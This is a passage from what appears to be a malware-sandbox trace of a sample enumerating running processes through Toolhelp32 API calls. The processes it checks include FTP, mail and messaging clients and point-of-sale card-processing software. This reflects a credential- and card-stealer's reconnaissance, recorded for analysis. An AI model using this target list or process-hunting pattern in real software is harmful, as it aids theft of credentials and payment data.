th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0281.795] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0281.809] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0281.916] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0281.920] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0281.924] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0281.926] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0281.929] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0281.932] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0281.971] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0281.976] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0281.979] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0281.982] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0281.985] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0281.988] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0281.991] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0281.994] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0281.997] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0282.000] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0282.002] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0282.005] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0282.007] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0282.009] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0282.012] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0282.014] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0282.016] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0282.018] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0282.020] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0282.022] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0282.024] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0282.026] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0282.028] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0282.031] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0282.034] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0282.036] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0282.038] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0282.041] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0282.043] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0282.045] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0282.048] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.050] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.053] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.056] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.097] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0282.099] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.101] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0282.104] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0282.106] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0282.109] CloseHandle (hObject=0xa10) returned 1 [0282.109] Sleep (dwMilliseconds=0x64) [0282.110] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0282.123] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.125] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.126] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.128] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.130] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.132] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.134] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.136] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.138] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0282.140] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.142] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.144] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0282.145] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.147] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.149] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.151] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.153] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.155] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.157] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.159] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0282.161] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0282.163] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0282.165] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.167] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0282.207] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0282.209] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0282.212] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0282.214] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0282.216] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0282.218] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0282.219] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0282.221] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.223] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0282.225] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.226] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 